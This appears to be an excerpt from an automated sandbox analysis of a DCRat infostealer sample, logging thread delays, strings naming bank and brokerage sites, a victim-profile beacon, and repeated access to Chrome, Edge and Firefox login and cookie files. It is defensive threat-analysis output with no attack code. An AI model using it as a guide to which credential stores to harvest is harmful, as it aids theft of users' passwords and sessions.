Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 599698	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 596047	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 595427	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 595154	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 593500	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 593000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 592250	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591906	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591672	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591375	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 591188	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590951	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590719	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590344	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 590000	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 589735	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 589313	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 589139	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588820	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588571	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588266	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 588109	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587984	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587874	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587764	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587654	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587547	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587420	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587312	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587203	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 587093	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586985	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586872	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586766	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586641	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586531	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586408	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586281	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586169	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Thread delayed: delay time: 586063	Jump to behavior

Source: 6E041kdfTe.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 6E041kdfTe.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 6E041kdfTe.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 6E041kdfTe.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 6E041kdfTe.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 6E041kdfTe.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 6E041kdfTe.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 6E041kdfTe.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 6E041kdfTe.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 6E041kdfTe.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 6E041kdfTe.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 6E041kdfTe.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Gez0dmj6yl.exe, 00000000.00000002.4483372404.000000001B710000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 6E041kdfTe.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 6E041kdfTe.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 6E041kdfTe.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 6E041kdfTe.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 6E041kdfTe.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 6E041kdfTe.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 6E041kdfTe.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 6E041kdfTe.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 6E041kdfTe.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 6E041kdfTe.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 6E041kdfTe.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002FD7000.00000004.00000800.00020000.00000000.sdmp, Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: Gez0dmj6yl.exe, 00000000.00000002.4469304396.0000000002FD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"44","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","258555","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\user\\Desktop","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.33","US / United States","New York / New York","40.7123 / -74.0068"]Xsov

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Queries volume information: C:\Users\user\Desktop\Gez0dmj6yl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: Gez0dmj6yl.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Gez0dmj6yl.exe.a50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2005683650.0000000000A52000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4469304396.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4469304396.0000000003197000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Gez0dmj6yl.exe PID: 2436, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
